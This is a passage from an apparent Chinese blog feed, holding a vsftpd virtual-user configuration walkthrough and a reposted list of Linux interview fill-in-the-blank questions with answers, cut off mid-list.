/>例如只允许192.168.0.33访问这个FTP,同样修改配置文件:&nbsp;<br />listen_address=192.168.0.33&nbsp;<br />配置vsftpd.conf&nbsp;<br /><div id="" style="font-family: Monaco, 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', Consolas, 'Courier New', monospace; width: 679px; margin-left: 9px; padding-right: 1px; padding-bottom: 1px; padding-left: 1px; word-break: break-all; word-wrap: break-word; "><div><div style="padding-right: 3px; padding-bottom: 3px; padding-left: 3px; margin: 0px; font-weight: bold; ">Xml代码&nbsp;<embed wmode="transparent" src="http://lianj-lee.iteye.com/javascripts/syntaxhighlighter/clipboard_new.swf" width="14" height="15" flashvars="clipboard=anonymous_enable%3DNO%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%E7%A6%81%E6%AD%A2%E5%8C%BF%E5%90%8D%0Alocal_enable%3DYES%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%E5%85%81%E8%AE%B8%E6%9C%AC%E5%9C%B0%E7%99%BB%E5%BD%95%0Awrite_enable%3DYES%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%E5%85%81%E8%AE%B8%E5%86%99%EF%BC%8C%E5%A6%82%E9%9C%80%E4%B8%8A%E4%BC%A0%EF%BC%8C%E5%88%99%E5%BF%85%E9%A1%BB%0Alocal_umask%3D027%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%E5%B0%86%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%E7%9A%84%E6%9D%83%E9%99%90%E8%AE%BE%E7%BD%AE%E4%B8%BA%EF%BC%9A777-local_umask%0Aanon_upload_enable%3DYES%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%E5%85%81%E8%AE%B8%E8%99%9A%E6%8B%9F%E7%94%A8%E6%88%B7%E5%92%8C%E5%8C%BF%E5%90%8D%E7%94%A8%E6%88%B7%E4%B8%8A%E4%BC%A0%0Aanon_other_write_enable%3DYES%20%20%20%20%20%20%20%20%20%20%23%E5%85%81%E8%AE%B8%E8%99%9A%E6%8B%9F%E7%94%A8%E6%88%B7%E5%92%8C%E5%8C%BF%E5%90%8D%E7%94%A8%E6%88%B7%E4%BF%AE%E6%94%B9%E6%96%87%E4%BB%B6%E5%90%8D%E5%92%8C%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%0Adirmessage_enable%3DYES%20%20%20%20%20%20%20%20%20%20%0Axferlog_enable%3DYES%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%E6%89%93%E5%BC%80%E6%97%A5%E5%BF%97%E8%AE%B0%E5%BD%95%0Aconnect_from_port_20%3DYES%0Axferlog_file%3D%2Fvar%2Flog%2Fvsftpd.log%20%20%20%20%20%23%E6%97%A5%E5%BF%97%E5%AD%98%E6%94%BE%E4%BD%8D%E7%BD%AE%0Axferlog_std_format%3DYES%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%E6%A0%87%E5%87%86%E6%97%A5%E5%BF%97%E6%A0%BC%E5%BC%8F%0Aidle_session_timeout%3D600%20%20%20%20%20%20%20%20%20%20%20%20%20%23%E7%A9%BA%E9%97%B2%E8%BF%9E%E6%8E%A5%E8%B6%85%E6%97%B6%0Adata_connection_timeout%3D120%0Aftpd_banner%3DWelcome%20to%20ChinaRise%20FTP%20service%20%20%20%20%20%20%20%23%E6%AC%A2%E8%BF%8E%E4%BF%A1%E6%81%AF%0Aguest_enable%3Dyes%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%E5%85%81%E8%AE%B8%E8%99%9A%E6%8B%9F%E7%94%A8%E6%88%B7%0Aguest_username%3Dvsftpdguest%20%20%20%20%20%20%20%20%20%20%20%23%E8%99%9A%E6%8B%9F%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E7%9A%84%E7%B3%BB%E7%BB%9F%E8%B4%A6%E5%8F%B7%0Avirtual_use_local_privs%3DYES%20%20%20%20%20%20%20%20%20%20%23%E8%99%9A%E6%8B%9F%E7%94%A8%E6%88%B7%E6%8B%A5%E6%9C%89%E6%9C%AC%E5%9C%B0%E7%B3%BB%E7%BB%9F%E6%9D%83%E9%99%90%0A%0Achroot_local_user%3DYES%20%20%20%20%20%20%20%20%20%20%20%20%0Achroot_list_enable%3DYES%0A%23%E4%BB%A5%E4%B8%8A%E4%B8%A4%E8%A1%8C%E5%B0%86%E8%99%9A%E6%8B%9F%E7%94%A8%E6%88%B7%E9%99%90%E5%88%B6%E5%9C%A8%E5%85%B6%E7%9B%AE%E5%BD%95%E4%B8%8B%EF%BC%8C%E4%B8%8D%E8%83%BD%E8%AE%BF%E9%97%AE%E5%85%B6%E4%BB%96%E7%9B%AE%E5%BD%95%EF%BC%8C%E6%88%96%E7%9B%B4%E6%8E%A5%E7%94%A8%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0Achroot_local_user%3DYES%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%0Alisten%3Dyes%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%E7%9B%91%E5%90%AC%2F%E8%A2%AB%E5%8A%A8%E6%A8%A1%E5%BC%8F%0Alisten_port%3D21%20%20%20%20%20%20%20%20%20%20%20%20%23%E7%9B%91%E5%90%AC%E7%AB%AF%E5%8F%A3%0A%0Achroot_list_file%3D%2Fetc%2Fvsftpd%2Fvsftpd.chroot_list%20%20%20%20%23%E8%99%9A%E6%8B%9F%E7%94%A8%E6%88%B7%E5%90%8D%E5%8D%95%E4%BF%9D%E5%AD%98%E5%9C%A8%E6%96%87%E4%BB%B6%2Fetc%2Fvsftpd%2Fvsftpd.chroot_list%20%E4%B8%AD%0Auser_config_dir%3D%2Fetc%2Fvsftpd%2Fvsftpd_user_conf%20%20%20%20%20%20%20%23%E6%AF%8F%E4%B8%AA%E8%99%9A%E6%8B%9F%E7%94%A8%E6%88%B7%E5%90%8D%E7%9A%84%E6%9B%B4%E5%8A%A0%E8%AF%A6%E7%BB%86%E7%9A%84%E5%9F%B9%E6%A4%8D%E4%BF%9D%E5%AD%98%E5%9C%A8%2Fetc%2Fvsftpd%2Fvsftpd_user_conf%20%E4%B8%AD" quality="high" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">&nbsp;<a href="http://lianj-lee.iteye.com/blog/519027" title="收藏这段代码" style="color: black; "><img src="http://lianj-lee.iteye.com/images/icon_star.png" alt="收藏代码" style="border: 0px; " /></a></div></div><ol start="1" style="font-size: 1em; line-height: 1.4em; margin-left: 0px; padding-top: 2px; padding-bottom: 2px; border: 1px solid #d1d7dc; color: #2b91af; "><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">anonymous_enable</span>=<span style="color: blue; ">NO</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #禁止匿名&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">local_enable</span>=<span style="color: blue; ">YES</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#允许本地登录&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">write_enable</span>=<span style="color: blue; ">YES</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#允许写，如需上传，则必须&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">local_umask</span>=<span style="color: blue; ">027</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />#将上传文件的权限设置为：777-local_umask&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">anon_upload_enable</span>=<span style="color: blue; ">YES</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />#允许虚拟用户和匿名用户上传&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">anon_other_write_enable</span>=<span style="color: blue; ">YES</span>&nbsp; &nbsp; <br />#允许虚拟用户和匿名用户修改文件名和删除文件&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">dirmessage_enable</span>=<span style="color: blue; ">YES</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">xferlog_enable</span>=<span style="color: blue; ">YES</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#打开日志记录&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">connect_from_port_20</span>=<span style="color: blue; ">YES</span>&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">xferlog_file</span>=/var/log/vsftpd.log&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#日志存放位置&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">xferlog_std_format</span>=<span style="color: blue; ">YES</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#标准日志格式&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">idle_session_timeout</span>=<span style="color: blue; ">600</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#空闲连接超时&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">data_connection_timeout</span>=<span style="color: blue; ">120</span>&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">ftpd_banner</span>=<span style="color: blue; ">Welcome</span>&nbsp;to&nbsp;ChinaRise&nbsp;FTP&nbsp;service&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />#欢迎信息&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">guest_enable</span>=<span style="color: blue; ">yes</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />#允许虚拟用户&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">guest_username</span>=<span style="color: blue; ">vsftpdguest</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />#虚拟用户使用的系统账号&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">virtual_use_local_privs</span>=<span style="color: blue; ">YES</span>&nbsp; &nbsp;#虚拟用户拥有本地系统权限&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; ">&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">chroot_local_user</span>=<span style="color: blue; ">YES</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">chroot_list_enable</span>=<span style="color: blue; ">YES</span>&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; ">#以上两行将虚拟用户限制在其目录下，不能访问其他目录，或直接用&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">chroot_local_user</span>=<span style="color: blue; ">YES</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; ">&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">listen</span>=<span style="color: blue; ">yes</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#监听/被动模式&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">listen_port</span>=<span style="color: blue; ">21</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#监听端口&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; ">&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">chroot_list_file</span>=/etc/vsftpd/vsftpd.chroot_list&nbsp;&nbsp;&nbsp;&nbsp;<br />#虚拟用户名单保存在文件/etc/vsftpd/vsftpd.chroot_list&nbsp;中&nbsp;&nbsp;</li><li style="font-size: 1em; margin-left: 38px; padding-right: 0px; border-left-width: 1px; border-left-color: #d1d7dc; background-color: #fafafa; line-height: 18px; "><span style="color: red; ">user_config_dir</span>=/etc/vsftpd/vsftpd_user_conf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;#每个虚拟用户名的更加详细的培植保存在/etc/vsftpd/vsftpd_user_conf&nbsp;中&nbsp;&nbsp;</li></ol></div>虚拟用户其他设置&nbsp;<br />在/etc/vsftpd/vsftpd.chroot_list 文件中写入允许登陆的虚拟用户名称，<br />每行一个在/etc/vsftpd/vsftpd_user_conf 文件夹中创建一个<br />以虚拟用户用户名命名的文件，写：local_root = /var/FTP/子目录名，<br />然后在/var/FTP下创建一个对应的目录即可</div><div id="bottoms" style="font-family: Helvetica, Tahoma, Arial, sans-serif; font-size: 12px; line-height: 18px; text-align: left; "></div><img src ="http://www.blogjava.net/kxbin/aggbug/383823.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-24 11:24 <a href="http://www.blogjava.net/kxbin/articles/383823.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux面试题目（转）</title><link>http://www.blogjava.net/kxbin/articles/383602.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Fri, 20 Jul 2012 07:25:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/383602.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/383602.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/383602.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/383602.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/383602.html</trackback:ping><description><![CDATA[<p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">一．填空题：<br />1. 在<a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>Linux</strong></u></a><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>系统</strong></u></a>中，以<strong><a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%CE%C4%BC%FE');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>文件</strong></u></a></strong></u></strong>方式访问设备 。<br />2. Linux内核引导时，从文件<strong>/etc/fstab</strong>中读取要加载的文件<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%CF%B5%CD%B3');" style="text-decoration: none; color: #63401b; "><u><strong>系统</strong></u></a>。<br />3. Linux文件系统中每个文件用<strong>i节点</strong>来标识。<br />4. 全部磁盘块由四个部分组成，分别为<strong>引导块 、专用块 、 i节点表块 和<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%CA%FD%BE%DD');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>数据</strong></u></a></strong></u>存储块</strong>。<br />5. 链接分为：<strong>硬链接 和 符号链接</strong>。<br />6. 超级块包含了<strong>i节点表 和 空闲块表</strong>等重要的文件系统信息。<br />7. 某文件的权限为：d-rw-_r--_r--，用数值形式表示该权限，则该八进制数为：<strong>644</strong>，该文件属性是<strong>目录</strong>。<br />8. 前台起动的进程使用<strong>Ctrl+c</strong>终止。<br />9. 静态<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%C2%B7%D3%C9');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>路由</strong></u></a></strong></u>设定后，若<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%CD%F8%C2%E7');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>网络</strong></u></a></strong></u>拓扑结构发生变化，需由<strong>系统<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%B9%DC%C0%ED');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>管理</strong></u></a></strong></u>员</strong>修改路由的<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%C9%E8%D6%C3');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>设置</strong></u></a></strong></u>。<br />10. 网络管理的重要任务是：<strong>控制 和 监控</strong>。<br />11. 安装Linux系统对硬盘分区时，必须有两种分区类型：<strong>文件系统分区 和 交换分区</strong>。<br />13. 编写的<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, 'Shell');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>Shell</strong></u></a></strong></u>程序运行前必须赋予该脚本文件<strong>执行</strong>权限。<br />14. 系统管理的任务之一是能够在<strong>分布式</strong>环境中实现对程序和数据的安全保护、备份、恢复和更新。<br />15. 系统交换分区是作为系统<strong>虚拟存储器</strong>的一块区域。<br />16. 内核分为<strong>进程管理系统 、 内存管理系统 、 I/O管理系统 和文件管理系统</strong>等四个子系统。<br />17. 内核配置是系统管理员在改变系统配置<strong>硬件</strong>时要进行的重要操作。<br />18. 在安装Linux系统中，使用netconfig程序对网络进行配置，该安装程序会一步步提示<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%D3%C3%BB%A7');" style="text-decoration: none; color: #63401b; "><u><strong>用户</strong></u></a>输入主机名、域名、域名<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%B7%FE%CE%F1%C6%F7');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%B7%FE%CE%F1');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>服务</strong></u></a></strong></u>器</strong></u>、IP地址、<strong>网关地址</strong>和<strong>子网掩码</strong>等必要信息。<br />19. 唯一标识每一个用户的是用户<strong>ID</strong>和用户名。<br />20 .<strong>RIP</strong><a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%D0%AD%D2%E9');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>协议</strong></u></a></strong></u>是最为普遍的一种内部协议，一般称为动态路由信息协议。<br />21. 在Linux系统中所有内容都被表示为文件，组织文件的各种方法称为<strong>文件系统</strong>。<br />22. DHCP可以实现<strong>动态</strong>IP 地址分配。<br />23. 系统网络管理员的管理对象是<a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>服务器</strong></u></a>、<strong>用户</strong>和服务器的进程 以及系统的各种资源。<br />24. 网络管理通常由<strong>监测、传输和管理</strong>三部分组成，其中管理部分是整个网络管理的中心。<br />25.当想删除本系统用不上的<strong>设备驱动程序</strong>时必须编译内核，当内核不支持系统上的<strong>设备驱动程序</strong>时，必须对内核<strong>升级</strong>。<br />26 Ping命令可以测试网络中本机系统是否能到达<strong>一台远程主机</strong>，所以常常用于测试网络的 连通性 。<br />27. vi编辑器具有两种工作模式：<strong><a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%C3%FC%C1%EE');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>命令</strong></u></a></strong></u>模式 和 输入模式</strong>。<br />28. 可以用ls &#8211;al命令来观察文件的权限，每个文件的权限都用10位表示，并分为四段，其中第一段占 1 位，表示 文件类型 ，第二段占3位，表示<strong>文件所有者</strong>对该文件的权限。<br />29. 进程与程序的区别在于其动态性，动态的产生和终止，从产生到终止进程可以具有的基本状态为：<strong>运行态 、 就绪态 和 等待态（阻塞态） 。<br /></strong>30. DNS实际上是分布在internet上的主机信息的<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%CA%FD%BE%DD%BF%E2');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>数据库</strong></u></a></strong></u>，其作用是实现<strong>IP地址和主机名</strong>之间的转换。<br />31. Apache是实现WWW服务器<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%B9%A6%C4%DC');" style="text-decoration: none; color: #63401b; "><u><strong>功能</strong></u></a>的<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%D3%A6%D3%C3');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>应用</strong></u></a></strong></u>程序，即通常所说的&#8220;浏览web服务器&#8221;，在服务器端<strong>为用户提供浏览 web服务</strong>的就是apache应用程序。<br />32.在Linux系统上做备份可以有两种类型：<strong>系统备份</strong>和<strong>用户备份</strong>。其中前者是指对<strong><a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%B2%D9%D7%F7%CF%B5%CD%B3');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>操作系统</strong></u></a></strong></u></strong>的备份，后者是指对<strong>应用程序和用户文件的备份</strong>。<br />33. CD-ROM标准的文件系统类型是<strong>iso9660</strong>。<br />34. 当lilo.conf配置完毕后，使之生效，应运行的命令及参数是<strong>lilo</strong>。<br />35. 在使用ls命令时，用八进制形式显示非打印字符应使用参数<strong>-b</strong>。<br />36. Linux使用支持<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, 'Windows');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>Windows</strong></u></a></strong></u>9.x/2000长文件名的文件系统的类型是 vfat 。<br />37. 设定限制用户使用磁盘<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%BF%D5%BC%E4');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>空间</strong></u></a></strong></u>的命令是<strong>quota</strong>。<br />38 在Linux系统中，用来存放系统所需要的配置文件和子目录的目录是<strong>/etc</strong>。<br />39. 硬连接只能建立对<strong>文件</strong>链接。符号链接可以跨不同文件系统创建。<br />40. 套接字文件的属性位是<strong>s</strong>。<br />41. 结束后台进程的命令是<strong>kill</strong>。<br />42. 进程的运行有两种方式，即<strong>独立运行和使用父进程运行</strong>。<br />43. Links分为<strong>硬链接和符号链接</strong>。<br />44. 在超级用户下显示Linux系统中正在运行的全部进程，应使用的命令及参数是<strong>ps -aux</strong>。<br />45. 管道文件的属性位是<strong>p</strong>。<br />46. 将前一个命令的标准输出作为后一个命令的标准输入，称之为<strong>管道</strong>。<br />47. 为脚本程序指定执行权的命令及参数是<strong>chmod a+x filename</strong>。<br />48. 进行远程登录的命令是<strong>telnet</strong>。<br />49. 欲发送10个分组报文测试与主机abc.tuu.edu.cn的连通性，应使用的命令和参数是：<strong>ping abc.tuu.edu.cn &#8211;c 10 。<br /></strong>50. DNS服务器的进程命名为named，当其启动时，自动装载 /etc目录下的 named.conf 文件中定义的DNS分区数据库文件。<br />51. Apache服务器进程配置文件是<strong>httpd.conf</strong>。</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">52.在 Linux系统中，压缩文件后生成后缀为.gz文件的命令是<strong>gzip</strong>。<br />53. 在用vi编辑文件时，将文件内容存入test.txt文件中，应在命令模式下键入 ：<strong>w test.txt</strong>。<br />54 可以在标准输出上显示整年日历的命令及参数是<strong>cal -y</strong>。<br />55. 在shell编程时，使用方括号表示测试条件的规则是：方括号两边必须有<strong>空格</strong>。<br />56. 